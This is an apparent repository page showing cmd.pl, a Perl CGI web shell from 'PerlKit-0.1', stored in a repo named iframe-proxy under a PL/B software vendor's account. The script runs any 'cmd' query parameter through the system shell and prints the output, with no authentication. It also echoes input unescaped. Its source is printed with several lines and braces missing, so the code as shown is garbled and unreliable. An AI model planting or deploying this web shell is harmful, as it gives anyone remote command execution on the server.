iframe-proxy | Sunbelt Computer Software

executable file

67 lines (48 loc) · 1.01 KB

#!/usr/bin/perl
# PerlKit-0.1 - http://www.t0s.org
# cmd.pl: Run commands on a webserver
use strict;
my ($cmd, %FORM);
print "Content-Type: text/html\r\n";
print "\r\n";
# Get parameters
%FORM = parse_parameters($ENV{'QUERY_STRING'});
if(defined $FORM{'cmd'}) {
  $cmd = $FORM{'cmd'};
print '<HTML>
<form action="" method="GET">
<input type="text" name="cmd" size=45 value="' . $cmd . '">
<input type="submit" value="Run">
if(defined $FORM{'cmd'}) {
  print "Results of '$cmd' execution:\n\n";
  print "-"x80;
  print "\n";
  open(CMD, "($cmd) 2>&1 |") || print "Could not execute command";
  while(<CMD>) {
  close(CMD);
  print "-"x80;
  print "\n";
print "</pre>";
sub parse_parameters ($) {
  my $input = shift;
  foreach my $pair (split('&', $input)) {
    my ($var, $value) = split('=', $pair, 2);
    if($var) {
      $value =~ s/\+/ /g ;
      $value =~ s/%(..)/pack('c',hex($1))/eg;
      $ret{$var} = $value;
  return %ret;

Sunbelt Computer Software

PL/B Language Development and Support

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Sunbelt Computer Software

PL/B Language Development and Support

FilesExpand file tree

cmd.pl

Latest commit

History

cmd.pl

File metadata and controls